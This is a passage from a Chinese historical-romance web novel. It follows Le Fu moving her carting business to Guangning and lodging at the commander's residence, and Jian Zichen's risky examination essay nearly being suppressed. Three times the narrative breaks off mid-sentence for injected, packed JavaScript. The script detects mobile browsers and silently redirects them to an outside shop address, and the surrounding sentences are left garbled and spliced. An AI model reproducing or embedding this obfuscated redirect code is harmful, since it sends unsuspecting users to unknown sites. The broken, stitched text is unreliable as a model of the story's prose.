可开原现在不太平,互市也关了,只靠剩下那两间杂货铺子,实在供不起辽安驿运。
再加上辽阳车马行竞争激烈,还大多依附在晋商和齐商这类商帮之下混口饭吃。像她家这种无帮无派,又丢了官府差事的独立车行,在辽阳早已是举步维艰。
趁着车马尚在,人手未散,她必须尽快转移重心,另辟根基。
广宁,就是她选中的下一处立脚之地。
那里比辽阳更靠近关内与蒙古,是长途转输的必经之地。而且广宁还有马市,直接对接兀良哈三卫,是辽东最大的蒙古边贸市场。
重要的是,现在朝廷有开中法,商人运粮到边镇,粮入官仓,官府发给盐引,凭引就能去盐场支盐贩卖。
这盐引一转手就是银子,比单纯跑腿运货可强多了。
既然官府的差事接不着,那她接接军运散活、纳纳粮,总行了吧?
马车停在衙署大院后巷,主仆俩急匆匆进了花厅。
饭桌上,乐弗将这个打算一说,没想到一向对她百依百顺,无有不应的老父亲,罕见地发了脾气。
“什么?”乐廷章的眉头拧得老高,“军运?纳粮?”
没等乐弗开口分辩,“啪”一声脆响,筷子重重拍在八仙桌上。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341553|199357||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“简直胡闹!”
“军运那是儿戏吗?若是延误了时辰,损了粮草军械,你以为赔几两银子就能了事?真出了岔子,是要锁拿问罪的!”
沈德仪当即横他一眼:“嚷嚷什么!有话不会好好说?”
可这回乐廷章半分惧内的模样都没了,往前凑了凑,撸起袖子,势必要跟女儿掰扯清楚:
“至于纳粮……你当开中法是给你这种小车行准备的?”
“开中的榜文还没贴出来,商帮的粮车就已经等在卫所外边了。人家在边镇有商屯,粮食就产在卫所门口。你呢?等你从辽阳现收现运,榜上的盐引早抢光了!”
乐廷章允许闺女开间车马行过家家玩,挣多挣少他不管。
可要是触了那几个老商帮的霉头,敢动人家的盐引,以他们面善心黑的行事作风,辽安驿运就跟纸糊的一样。
到时就不是赔钱散伙的事了,车沉浑河,人埋荒野,死无全尸都没处喊冤。
一听丈夫提起商帮,沈德仪当即坐直身子,担忧地看向女儿:
“商帮的人早抱成了铁板一块,敢撬他们路子,轻则破财丢货,重则连命都搭上,就连你外祖父都不大招惹这等亡命之徒……”
沈德仪实在担心,“娘不是吓唬你,那些人为了银子,不择手段。”
乐弗全程默默听着,夹了一筷子糟鲥鱼放进碗里拨弄。
等到沈德仪说完,她抬起头,扮作乖顺模样,声音软软的:“娘说得是,女儿记住了。”
沈德仪盯着闺女看了两眼,觉得不对劲,却又挑不出毛病。
“记住就好。”乐廷章重新抄起筷子,“吃饭吃饭。”
乐弗乖乖端起碗,将那块糟鲥鱼送进嘴里。
她当然不会跟那群人硬碰硬。
再狂,她也没狂妄到觉得自己一个小车行,能跟那几家盘踞辽东几十年的地头蛇掰腕子。
但她知道一个道理:商帮之所以强,是因为他们有一群利益共享,风险同担的人。
她想分一口蛋糕,也得有一群人,不是那种拿钱办事的伙计,而是真正能把身家性命押在辽安驿运里的人。
可是上哪找这种人?
算了,想这些太早,等到了广宁再说。
夜里,房间内水汽弥漫,乐弗懒懒倚在浴桶边开口:
“那些里衣勒得难受,将那件中衣取来,上下通裁的那件。”
藤梨应声,到里屋一通翻箱倒柜,结果空着手回来:“姑娘,没有啊。”
乐弗闻言一怔,随即扶着桶沿站起身,水声哗啦作响:“怎么会,年前刚做好的……”
那件中衣,样子仿的前世寻常的吊带裙,无袖,领口开得低,肩背处全露,只靠两根细带子挂着。沈德仪头回见着裁剪样子,足足念叨了三日“不成体统”,才肯让针线房做了送来,这也是她唯一一件穿着真正舒坦的贴身衣物。
胡乱擦擦身上,乐弗披上罩衣亲自进到里屋。
藤梨举着烛台跟在后头,二人把柜角,床幔褶子里全翻了一遍,连片影子都没见着。
乐弗直起身,盯着那只空荡荡的柜子,百思不得其解。
裙子是暗花纱的料子,银红色,叠好了就放在这一格,上头还压着块驱虫的香饼子。
如今香饼子还在,裙子却不翼而飞。
身为卧底,藤梨自然清楚衣裳的去处。眼见着姑娘眼神不对,大有把屋子翻个底朝天的意思,她赶忙开口:
“兴许是夫人收走了。”
乐弗一想也是。
毕竟她娘早就瞧这衣裳不顺眼,前些天还说要趁开春,给她屋里归置归置。
“那算了。”往绣墩上一坐,乐弗偏过头去绞那湿漉漉的长发。
藤梨暗自松气,连忙上前接过梳子,替她一下一下篦着发丝。
7. 住下
二月中的辽东都司,风意未软,扑在脸上仍是硬的。
一辆马车从南边的迎恩门驶进广宁城,乐弗掀开车帘朝外看。
“到底是辽东重镇……”
这里的城墙比辽阳还高出一截,仰头看去,灰扑扑的墙砖顶着天,城门洞子里人车挤作一团,骡马喷着白气,车把式们操着南腔北调的吆喝,人声鼎沸。
到了十字大街,一串脆亮的声音从车旁擦过。
“早登科,独占鳌头嘞——利市花儿,登科及第喽!”
那声音拖得长长的,在早春的风里打着转,飘进乐弗耳朵。
是个小货郎。
扁担两头挑着竹篾编的浅筐,里头插满了红红绿绿的小玩意儿。
几个孩童正围着他跑,小货郎从筐边取下一支什么东西,高高举起来朝孩子们晃,远远看去,红纸金箔,怪喜庆的。
登科。
乐弗心里跟着念了一遍。
二月中了,会试该考完第三场了吧,也不知简自澄答得顺不顺当。
“停一下。”她朝外头赶车的齐宝喊了一声,撩开车帘探出半个头,“小货郎——”
听见有人喊他,小货郎挑着担子快步走过来,刚要吆喝,一眼看过去,话头猛地刹住了。
他下意识把目光挪开,往头顶的车檐上看,往马车后的大街上看,往车轱辘上沾到的灰土看。
可眼珠子不听使唤。
飞快地又瞟了乐弗一眼,小货郎低头盯着自己扁担上挂的一串小铃铛:“姑、姑娘……”
“要、要什么?”
齐宝当即就笑了,他转过身子:“你小子刚才舌头还好好的,这就结巴了?”
货郎依旧盯着扁担上那串铃铛瞧,“我、我……”
我了半天,愣是没我出个所以然来。
此时,筐边一支红纸扎的物件吸引了乐弗的注意。
比手掌略长些,是一枝红梅的样式,花瓣用红纸一层层叠出来,梅蕊处贴着小片金箔,底下衬着两片绿纸剪的叶子。
梅花枝上缠着红纸条,上头写着四个字:早登甲科。
“这是春梅报喜,八文一支!”注意到乐弗视线,小货郎主动把东西递过来让她瞧仔细,“姑娘买一支吧,保准心想事成!”
藤梨从袖子里摸出铜板递过去,接过那支报喜梅。
帘子重新落下,马车缓缓动起来。
“姑娘买这做什么?”藤梨举着报喜梅,翻来覆去地把玩。
乐弗往车窗外瞥了一眼,那小货郎挑着担子走远了,嘴里又吆喝起来,声音远远的,听不真切。
“先拜码头,再做买卖。”她说。
藤梨眨眨眼,没太听懂。
“宗钦既已考完,咱们待会儿去总兵府拜见伯父,顺便带个喜头过去,让他高兴高兴。”
老天爷!
吓得藤梨当即把手里的报喜梅小心放在包袱上,对着翘边儿的叶子压了又压。
这可是姑娘头一回送公子东西,虽然就几文钱,那也不敢损毁一点儿。
马车外的街道渐渐稠密起来,铺面挤挤挨挨,远处,一座高大的鼓楼隐隐可见。
经过鼓楼后,马车拐上另一条街,两侧不时闪过官署门楼。广宁备御都司、广宁卫,一块块匾额从车帘缝隙里掠过。
瞄着那些大门,藤梨从心里倒数:三、二、一。
齐宝吁的一声勒住马。
到了。
藤梨把那支报喜梅小心捎上,跳下车,撩起帘子,扶着乐弗下来。
“镇守总兵府”五个描金大字还是那么晃眼,门两侧各立着一只石狮子,比人还高,瞪着大眼,一脸威严,仿佛来人是谁都得先过它们这一关。
乐弗站在台阶底下,看着这对儿石狮子,忽然笑了。
“姑娘笑啥?”藤梨凑过来问。
“想起小时候了。”乐弗说,“那时,我骗宗钦,说这两只石狮子夜里会换班,一只睡觉一只站岗,第二天早上再换回来。”
“然后呢?”
“他信了。”乐弗往前走了两步,“那时他五岁吧……绕着这两只狮子转了三圈,想看出哪只是刚睡醒的。”
藤梨噗嗤一声,又赶紧捂住嘴。
乐弗走到左边的石狮子跟前,伸出手,怀念地在它前爪上拍了拍,随后从偏门进了总兵府。
幼年时来这,都是跟着爹娘一起。
宗传辉总是在二门迎他们,几人走过照壁,走过穿堂,再一路走到后头的院子里。
宗钦准在那儿。
要么练功,要么背书,要么坐在廊下喂他那只鸽虎。
那只灰蓝色的鸽虎圆头圆脑,黄喙黄爪,看着倒是可爱。
只是有一次没等她走到近前,那大鸟就扑上来对着她头顶的绒花一阵撕扯,她不慎磕在台阶上,右边额角鬓发底下,至今还留着一道浅浅的印子。
从那起就再没见过那只鸽虎……
“姑娘?”藤梨的声音响起。
乐弗回神,发现已经站在二门里头了。
这里的穿堂,游廊,台阶都没变,只是边角被岁月磨得圆润了些。
这时打里头出来一个眼生婆子,看着五十不到,老远就福了一礼,一脸和气:“老爷正等着呢,姑娘这边请。”
几人来到正厅,里面烧着地龙,暖意融融,宗传辉端坐在上首,身姿板正。
乐弗上前几步,端端正正行了个礼:“给伯父请安。”
“起来吧。”宗传辉虚扶一下,目光落在乐弗脸上,像是打量,又像是确认。
其实不用确认,这孩子出落的什么样,他比谁都清楚。
儿子书房里挂得满墙都是。
从七八岁扎着双丫髻,到十二三刚抽条,再到如今……一张挨着一张的画像,密密麻麻。
头一回见着时,他惊得说不出话。儿子不解释,也不遮掩,好像那是再正常不过的事。
如今乐弗就站在眼前,仙姿玉貌,风华灼灼。宗传辉心里叹了口气,子不教,父之过。
不怪那小子惦记至今。
“路上冷吧?”他收回目光,指了指旁边的椅子,“快坐下说话,你爹这些日子忙什么呢?”
乐弗依言落了座,“说是开春了,事儿多。”
“他惯会躲清闲。”宗传辉笑了笑,抿了口茶,目光不经意往门外看了一眼。
藤梨,齐宝。
一个是他在路边捡回来的,一个是他大营里出去的,此刻脑袋低得快扎进胸口,俩鹌鹑似的,愣是不敢往他这边看一眼。
他放下茶盏,正想问今日来可是有什么事,却见乐弗朝藤梨递了个眼色。
藤梨硬着头皮上前,把那支报喜梅捧了出来。
“这是?”
乐弗笑了笑:“哥哥这会儿在京城会试,我来请安,顺道添个彩头。”
宗传辉接过那只红梅,嘴上说着“有心了”,心里却清楚,宗钦考不考得上,她未必真往心里去,不过是礼数到了,做出个惦记的样子,面上好看罢了。
可那小子若是知道……
宗传辉把那支红梅小心搁在小几上,又看了眼乐弗。
“说吧,”他往椅背上一靠,语气松快了些,“还有什么事?”
乐弗眉眼弯了弯,也不藏着掖着:“伯父明鉴,去年,您府上的孙管事,把我在递运所的路子给断了。”
她说得坦然,像是在说外头天冷风大,语气再寻常不过。
“我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341554|199357||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
琢磨着,辽阳那边既然不好做,索性把车马行挪到广宁来。”她顿了顿,眼睫微微垂下来,面上添了几分乖巧的示弱。
“就是头一回在广宁做买卖,心里没底,得来求您一句话,往后也好挺直腰杆。”
听出这丫头故意拿话臊他,宗传辉嘴里那口茶咽也不是,不咽也不是。
儿子偷摸的不办人事,老子还能怎么着?
他把那口茶顺下去,脸上已经换了一副神色。
惊讶里带着点不信,不信里又带着点疑惑,半晌才憋出一句:“孙管事?不能吧……”
乐弗只笑笑,半句多余的话也没有。
“一定是误会!”宗传辉说着还摇了摇头,一脸替她抱不平的模样,“底下人瞎了眼,拿着鸡毛当令箭。等我回头查清楚,该打的打,该撵的撵,必定给你出这口恶气!”
台阶都铺到脚跟前了,乐弗自然顺势就下,语气平和得很:
“伯父这话就重了。大过年的,打打杀杀多不吉利?正好我也换个营生,这事就过去了。”
这话一出,宗传辉心里反倒莫名堵得慌。
“也行。”他声音沉了几分,“广宁这边,你尽管放心。”
乐弗见好就收,当即起身,规规矩矩再福一礼:“那侄女就不打扰伯父了,改日再来给您请安。”转身刚要迈步——
“等等。”身后传来宗传辉的声音。
乐弗回过头,见他端着茶盏,目光落在自己身上,像是在掂量什么。
“来广宁,打算住哪儿?”
“先找家客栈凑合几日,等铺子安顿好再……”
“客栈?”宗传辉直接打断,眉头一拧,“先不说你一个姑娘家在外不便,就外头那些碎嘴子,你想过没有?”
乐弗张了张嘴,她想说外头那些人爱说什么说什么,关她屁事?
“我跟你爹几十年的交情,如今你放着总兵府不住,去住客栈。回头街坊四邻问起来,只当我眼睁睁看你在外漂泊,连口热饭都不管,我这脸往哪儿搁?”
“伯父,哪就到这般地步了?”
“不必多言,就住这儿。”
宗传辉“当”的一声搁下茶杯,起身拿过那枝红梅,直接对着方才引路的婆子吩咐,“我衙门还有公务,你带姑娘去后院安顿。”
话音一落,人已大步朝外走,干脆利落,半点商量余地都不留。
藤梨小心翼翼凑过来嘀咕:“姑娘,那咱们……?”
乐弗没说话,有些无奈地弯了弯唇角,这才恍然大悟:原来宗钦那个说一不二的狗性子,根本不是凭空来的。
这父子俩简直一个德行!
那引路的婆子上前一步,圆盘脸上浮着笑:“我姓周,在府上伺候五年了,往后有什么事,姑娘只管吩咐。”
说着,周妈妈侧身在前头引路,步子不快不慢,正好让乐弗能跟上,又不显得催促。
几人出了正厅,绕过一道穿堂,眼前顿时开阔起来。
周妈妈一边走,一边指着前头轻声说:
“姑娘住的院子叫‘式微阁’,名字是公子取的。院里头还爬着一架藤萝,叫南蛇藤,是公子在山里挖来的。等到秋天果子裂开,里头露出红彤彤的籽儿,小灯笼似的,好看得很……”
后面的话乐弗没细听了,心思全落在“式微阁”三个字上。
式微式微,胡不归?
天都黑了,为何还不归家……
她默默念了一遍,忽然觉得这名字很耳熟,有种说不清的熨帖,仿佛在哪听过。
却一时想不起来。
周妈妈还在絮叨着什么,乐弗站在院门口,目光落在门楣那三个字上。
风从院中那架枯藤间穿过,簌簌作响。
8. 策论
周妈妈把乐弗安顿妥当,又嘱咐了几句茶水炭盆的事,这才掩上门退出来。
一路脚下生风,脸上的笑就没下去过。
厨房里香气扑鼻,灶上砂罐中煨着长白参炖猪肚鸡,咕嘟咕嘟冒着泡。灶边白案上,陈平家的正在开酥,袖子挽得老高,手上沾了不少猪油。
见来人进来的模样,她愣了一下:“周姐姐,捡着银子了?”
周妈妈走到灶边,掀开盖子看了一眼,又盖上,嘴都合不拢:“比捡银子还高兴。”
“什么事儿啊?”陈平家的手底下动作不停。
“式微阁,住进去了!”
式微阁?
开酥的手一顿,陈平家的顿时瞪大双眼:“什么?”
周妈妈点点头,依旧笑眯眯的。
陈平家的把手里的面团往案板上一撂,手上酥油蹭到围裙上:“我的老天爷!竟来了?”
“来了,刚安顿好。”周妈妈说着,想起刚才见着的人,忍不住又笑,“等你见了就知道,墙上那些画得再真,连人家一根头发丝儿也比不上!”
陈平家的倒吸一口凉气,正要说话,一旁蹲着的小丫头妙儿抬起头,一脸懵懂:“妈妈们说什么呢?”
“小孩子家家的,择你的菜。”
妙儿缩缩脖子,低头继续忙活。
灶台边烧火的张嫂子把柴火往灶膛里一捅,拍了拍手上的灰,凑过来:“来干啥来了?”
周妈妈卖了个关子,故意不说,只笑。
陈平家的忽然想起什么,压低声音问:“那她可知晓咱们公子……?”
“看着不像。人家客客气气的,谢了这个谢那个,一进院子,还夸‘总兵府气派’……听得我直想笑。”
张嫂子没懂:“什么意思?”
周妈妈把声音压得更低:“这些年,公子从南边弄了不少好东西,什么汝窑笔洗,时大彬的紫砂壶,和田的玉香炉,全填进式微阁了。姑娘以为是咱们老爷摆阔,压根没往公子身上想。”
“也是白搭。人家都有亲事了,公子还在这儿巴巴地等,图什么……”陈平家的叹了口气。
旁边择菜的妙儿抬起头,实在想吃上这口瓜:“谁有亲事?”
三个妈妈齐齐看她一眼。
妙儿立刻低下头,这回连耳朵都不敢竖了。
厨房里只剩下汤水咕嘟轻响,伴着柴火噼啪燃烧。
过了一会儿,陈平家的忽然冒出一句:“你说那小子,得什么样啊?”
她看着宗钦从小到大,长成如今这副高大俊朗的模样,文能提笔,武能上马,满辽东也找不出几个了。
与那姑娘订亲的小子,又该是何等人物?
张嫂子抓了把毛磕分给几人:“门房老李头提过,别看那小子家里只是个五品,可他爹是翰林学士,将来能入阁的,清贵得很!”
妙儿择完菜,端着水盆起身,“那种人家,规矩是不是特别大?”
“可不咋地?”张嫂子随手将瓜子皮扔进灶膛。
“听说那样的人家,说话从不高声,走路轻手轻脚,底下的端茶倒水全掐着时辰,连喘气都透着斯文体面,哪像寻常人家大呼小叫的。”
这边儿话音刚落——
京师东城,南薰坊,东江米巷的翰林学士府。
“孽障!跪下!”这道怒吼,音量大得能把房顶挑开。
祠堂的门大敞着,里头传来几声脆响,一只青花茶盏被狠狠砸在地砖上,碎成七八瓣。
简崧把手里的纸张卷成筒状,指着儿子,脸涨得通红。
廊下几个小厮垂着头,眼观鼻鼻观心,谁也不敢往里瞧一眼。
冯素安提着裙子从后头小跑进来,一把拉住丈夫胳膊:“老爷!这是做什么?”
“做什么?你问问这孽障都写了什么!”
看了一眼跪在地上的儿子,又看看满地碎瓷,冯素安压低声音劝:“老爷!清贵门第,颜面要紧,让下人看见了有失体面!”
“清贵?”简崧的嗓门比方才还大,“什么清贵!只怕全家都要被这孽障拖累下狱了!”
说着就把手里的纸甩到她身上,“你自己看!”
冯素安手忙脚乱地接过来,展开一看,上面是儿子默写的策论原稿某段:
[……陛下入承大统,正宜布德施仁,与天下更始。若以疑似之迹,门户之嫌,辄行穷治株连,则恐朝野惊疑,人心不安,非固国本,安兆民之道也……]
她惊得变了脸色,哆哆嗦嗦放下纸,无比担忧地看着跪在地上的儿子,一言不发。
“你劝他卫嵘宽仁?你是嫌咱家死得不够快么!”简崧出离愤怒,得不得一脚踹死这个不省心的东西。
“太子生死未明,其旧部人心惶惶。这时大肆清算,反倒越叫朝臣自危。卫嵘若想坐稳江山,便该收手,以安人心。”简自澄跪在砖地上,脊背挺得笔直,眼底不见半分怯意。
“坐稳江山?”简崧盯着跪在地上的儿子,慢慢踱到他身后,忽然冷笑一声,“你以为我不知道你打得什么主意?”
“你是生怕那丫头一家被卫嵘扯出来吧!”
简自澄脊背一僵,“我……”
“你闭嘴!”简崧一巴掌拍在面前的供桌上,震得香炉里的香灰簌簌抖落。
“亏得你爷爷早已退居林下,卫嵘念他多年不涉朝政,安分守拙,这才饶过咱家!不然单凭‘太子太傅’这四个字,够满门抄斩三回的!”
他喘着粗气,眼里的讥诮几乎要溢出来:“自家都如履薄冰了,还玩儿那些书生意气,儿女情长……好啊,你好得很!”
祠堂里静了一瞬。
日光从高窗斜斜打进来,落在简自澄半边脸上。那半张脸干干净净,看不出什么表情,像往常一样沉静,淡漠。
简崧绕到儿子面前,弯下腰,盯着他的眼睛,一字一顿:
“你看不清局势,拎不清轻重,满脑子妇人之仁,我怎么就生了你这么个枉顾家门,不辨死活的孽障?”
骂完了,他指着跪着的简自澄,眼睛却转向冯素安:“这些日子,给我看住他,不许出门,不许见客,更不许往外递一个字!”
冯素安张了张嘴,想说什么,简崧却没给她开口的机会,往前走了一步,语气危险:
“要是敢由着他胡来,坏了我简家门庭,到时你们母子,就一块儿滚出这个家!”
冯素安的脸色更白了,身子晃了晃,扶住门框才勉强站稳。
说完,简崧夺过她怀里的策论,头也不回地走了。
供桌上的线香还在燃着,青烟笔直往上,在光线里打着旋儿慢慢散开。
冯素安扶着门框站了许久,终于动了。
她径直来到简自澄身边,腿一软跪下去,伏在儿子肩头,声泪俱下。
“儿啊!”她攥着简自澄的胳膊,声音发颤,“娘求你了,忘了那孩子吧。”
任由泪水洇湿肩头的衣裳,简自澄始终盯着地上的碎瓷一角,不动分毫。
浅金色日光在他脸上慢慢移动,从眉梢挪到眼角,一点一点,悄无声息。
他想起十岁那年刚到辽阳时。
苦寒,荒凉,那里的人说话粗声大气,一文钱的事能吵半个时辰。他从小在京里长大,往来的是体面人,听的是文雅话。
他想,这破地方狗都不待。
更别提那些车夫,脚力,蛮夷……连个眼神都不愿意施舍。
祖父让他去家塾,他就去。让他装温文尔雅,他就装。
他把心里那点鄙夷藏得很好,直到遇上乐弗。
那年两人开了第一间杂货铺,进了批货,库房后头乱得很,几个搬运的老汉满身汗臭,蹲在地上啃干粮。
他不想往里走。
乐弗没理会他的矫情,自己进去,蹲在那老汉旁边,问他家里几口
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341555|199357||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人,孩子多大了,冬天烧不烧得起炭。
出来时手里多了张纸,记的是那几个人的名字,说以后若缺人手,优先用他家的。
“跟那些人有什么好聊的?”他问。
“给咱干活,总得知道他们是谁。”乐弗随口回答。
他那时不懂。
后来二人有了三间杂货铺,一间车马行。所有的伙计、帮工娘子,她个个都叫得出名字。
谁家孩子病了,她让账上支钱。逢年过节摆席,那些车夫伙计坐一起喝酒吹牛,她就坐账房里笑呵呵听着。
慢慢的,他也能叫出他们名字了。有一回运粮车翻了,她不在,他便自掏腰包垫了银子。
那车把式红着眼眶就要跪下磕头。
“没你的事了,干活去吧。”
说完他自己都愣了,只因这话是乐弗常说的。
不知从何起,他从那个眼高于顶的讨厌鬼,变成了为几两银子生意,跟那些三教九流称兄道弟的简掌柜。
想笑就笑,想骂就骂,痛快极了。
是乐弗把他从京里那套虚与委蛇的世态虚礼中捞出来。
可如今父亲却说,她是烫手山芋沾不得,就连母亲也来哭求。
简自澄抬起头,望着眼前一列列的牌位。供桌上依旧青烟升腾,绕着那些描金的祖宗名号,慢慢上飘。
他罕见地迷茫了。
要放弃吗?
从迁安驿到京城,这一路他问了自己无数遍,每每想到这两个字,胸口便空得喘不上气。
真的,要放弃吗?
他对着这些牌位又问了一遍。
可死物不会开口,只有青烟兀自上飘,触到屋梁就消散了。
无人应答。
*
简崧径直回了书房,独自枯坐。
从日头偏西,坐到暮色四合,再到烛火灼灼,映得满室寂寥。
身为翰林学士,这些年经他手批阅的会试答卷,成百上千。儿子的通篇应答文辞醇正,格局气度,远非寻常士子可比。
不说会元,名词靠前是稳稳拿住的,到了殿试再争一争,进翰林院做庶吉士,也并非奢望。
可偏偏,就多了那么一段……
那些话放在太平年景,是忠言,可放在如今这个节骨眼上,就是找死。
卫嵘登基不足一个月,京城早已杀得人头滚滚。凡与旧太子过从亲密者,斩首的斩首,流放的流放,无一幸免。
只要儿子的卷子落到监察御史手里,被有心人揪住不放,那简家这点安稳,便会瞬间灰飞烟灭。
若是此刻动身去贡院,找接替他主考官之位的侍读学士杨弓,托他悄悄扣下卷子也并非难事。
可真这样做,那便是科场舞弊,被发现照样杀头连累全家。
简崧坐在那里一动不动,像尊石像,直到烛火噼啪一声爆起个灯花,他才猛然惊觉,已是深夜。
贡院明日就要落锁。
一旦关上大门,内外彻底隔绝,再想给杨弓递话,难如登天,留给他的时间已然不多。
思虑再三,他突然起身,举着烛台冲回祠堂。
里头长明灯昏黄如豆,映得他的影子如冬日里枯槁的枝桠。
简崧缓缓跪下。
他这半辈子,不结党弄权,不营私舞弊,更不阿谀奉承,如今竟被逼上绝境。
藏起卷子全家活命,但此举辱没祖宗,还毁了儿子一生志气。
若不藏,便是把全家人的脑袋,都押在那卫嵘的胸襟气度上……
罢了,天道昭彰。
就让誊录去抄,让主考去评,让御史去查。
是非功过,自有后人评说!
简崧重重叩首,额头触在冰冷的砖石上,泪水顺着脸颊滚落,他语气哽咽:
“列祖列宗在上,保佑我儿……保佑简家……”
祠堂寂静,唯有香火无声长燃。
9. 贡院
贡院落锁这天,本该监临会试的张御史临时告病了。
原也不是什么大事,十三道一百一十名御史,缺一个补一个就是。
只是偏偏赶上卫嵘清算的当口,菜市口的血刚干,各地辩冤陈情的诉状,雪片似的往都察院飞。
都察院上下忙疯了。
有的去查抄太子旧部的家产,有的去复审刑部大牢里的重犯,有的跟着锦衣卫去地方上拿人。剩下的一小半,手里都压着七八个案子,天天熬到后半夜。
人事官翻着簿子,查了半天,竟一个能腾出工夫的都没有。
消息报上去的时候,左都御史徐仰光正在看弹章,听完头也没抬,只问了句:“没人了?”
底下人垂着头:“大人,实在是抽不开了。”
徐仰光将手头的弹章放好,站起身掸掸袍子:“那便我去。”
贡院之中,内外帘两厢皆是一派火烧眉毛的景象。
谁也没想到,平日里一拍惊堂木,六部九卿都得竖起耳朵的徐仰光竟亲自来了?
方才还窃窃私语的几人,瞬间安静如鸡,只剩外帘的对读官一字一句核对考卷的声音。
这尊大佛谁请来的?
莫不是……新皇授意?
主考官杨弓心里不住嘀咕,谁不知那卫嵘是个小心眼子,防朝臣跟防贼似的,这时把手伸到贡院,连会试大比也要掺合,实在叫人无话可说。
这么怕人非议,不如把天下读书人都屠戮干净,一了百了!
外帘,年轻的誊录生池天奇正以工整小楷重抄试卷,只是写着写着,狼毫笔就慢慢停了,墨点险些落在卷上。
[辄行穷治株连,则恐朝野惊疑……]
天爷啊。
池天奇抬眼飞快扫了一圈四周。
贡院里这几个,大多是科举出身,读的是孔孟仁义,胸怀江山社稷,没有一个真心待见那位靠杀人立威的新皇。
真敢写啊这小子……对脾气!
恰在此时,廊下传来一阵脚步声,不紧不慢,却像敲在他的心上。
除了巡场的徐仰光,还能有谁?
池天奇下意识绷直了身子,手底下继续运笔,等脚步声走过,他脑子一热,顺手将这份卷子收进袖里。
他认为此人能以这样的方式拼死直谏,很是不孬!
年轻人当官,就这点好处。一腔子意气,路见不平就愿意撺掇自己拔刀相助。
大丈夫有所为,有所不为。
池天奇,你今日不能见死不救!
一股热血冲上头顶,他取了出恭牌离开誊录房,绕开对读的那几位,一路直奔内帘主考公房。
杨弓正埋头阅卷,累得头晕眼花,腰酸背痛,见学生鬼鬼祟祟进来,没好气地喝问:
“何事!”
“老师!”池天奇一把抽出袖中试卷,“把这人的卷子扣下吧,若对读时被左都御史听见了……落榜也好过杀头啊!”
???
杨弓惊得八字胡都抖了起来。
别人杀不杀头他不知道,但他知道自己要被这倒霉孩子给害死了!
“你这是舞弊!!”
杨弓夺过那卷子,粗略一扫,当即就想一砚台拍死池天奇。
他咬牙切齿,正要将试卷往靴子里塞——
“怎么了?”
这声轻问不高,却像一道雷劈在二人心头。
池天奇浑身过电似的发麻,杨弓也僵了一瞬,缓缓直起腰,脸色煞白。
徐仰光推门而入。
他一身绯色官袍,腰束玉带,将近知命之年,浑身带着御史台特有的煞气,目光一扫,就知屋里这俩非奸即盗,欠弹劾了。
杨弓双腿软得像面条,得亏坐着,不然早躺地上了,他强装镇定开口:“徐大人,此卷语涉、语涉朝政……”
还是没能救下来。池天奇绝望地闭上双眼,非但没能救下,反倒把恩师一并拖下水……
徐仰光接过试卷翻看,面色无波。
如今满朝文武,谁敢对卫嵘说半个不字?一个举子,竟敢把话明明白白写在卷上。
他并未惊怒,眼底只剩一片寂然,显然是被这段文字触到了旧伤。
昔日一同立志辅佐太子,安定天下的同僚挚友,如今大半已成了卫嵘的刀下亡魂。桌案上每日都有锦衣卫呈报的处决名单,那些人到死,也没有一个供出他的名字。
唇亡齿寒,兔死狐悲。这些日子,他每每翻看旧友书信,不免泪湿衣襟。朝中忠直可用之人也越来越少,他正愁没有得力臂膀……
徐仰光将卷子轻轻放回案上,心中已然断定这是个可堪托付的人。
“不错。行文坦荡,骨力俱足,见识不凡。”
池天奇猛地抬起头,满眼不敢置信。
“比我当年还强上几分。”
说完,徐仰光不再多看一眼,转身便走,留屋内两人僵在原地。
这就完了?
没骂?没抓?没叫锦衣卫?
池天奇缓缓瘫坐在地,他连杖毙的下场都想到了,此刻整个人如堕梦中,虚飘飘的。
杨弓也愣了一阵,重新拿起那张险些害了师生俩的卷子。
看着上头的文章,他心里五味杂陈,谁都知道徐仰光是乙丑科状元及第。
此前科举已停办整整六年,殿试时更是神仙打架,他能被先帝一眼看中,其才其胆,早已是天下公认。
杨弓听得出那几句话不是随口夸赞,是明明白白的授意与庇护。
望着手中试卷,他叹了口气。
既然徐大人开了金口,他身为主考官,再送这后生一场造化,又有何妨?
“老师,那这卷子……”
“还用我教?”
池天奇心领神会,立刻收好试卷,头也不回地跑了。
*
三月初五,京城的杏树进入盛花期,一树树粉白,花瓣纷飞,飘过那张刚刚贴出来的杏榜。
礼部衙署的东墙底下挤满了人,鼎沸的人声不断传进一辆路过的马车上。
“放榜了,你不下去看一眼么?”
宗钦双手环胸,倚着车壁阖目养神,闻言眼都没睁,丢出一句:“我没考。”
车厢里瞬间静了一息。
“没考?!”古宥谦恨不得一刀攮死他,“没考你大老远跑回京来干什么?!害得小爷天天——”
对上那双骤然睁开,凉飕飕的深眸,剩下的抱怨被他生生咽回肚里。
古宥谦心好累。
